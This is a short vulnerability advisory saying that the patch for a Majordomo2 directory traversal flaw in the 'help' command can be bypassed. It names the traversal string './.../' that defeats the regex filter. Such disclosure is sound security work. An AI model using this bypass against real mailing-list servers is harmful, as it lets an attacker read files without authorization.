Description: ============ Majordomo2 <= 20110203 is affected by a Directory Traversal vulnerability due to parameter 'extra' of the 'help' command in the function '_list_file_get()' is not properly sanitized. The original bug was made public on 03.02.2011 by Michael Brooks of sitewat.ch: https://sitewat.ch/en/Advisory/View/1 https://bugzilla.mozilla.org/show_bug.cgi?id=628064 I discovered, that the patch, which is in the CVS since version 20110125 don't protect against the Directory Traversal bug. https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481 The diff build in the regex '$file =~ s!/?\.\./?!!g;', which deletes '../' from $file. Bypassing this regex is quiet simple by using './.../' insted '../'.
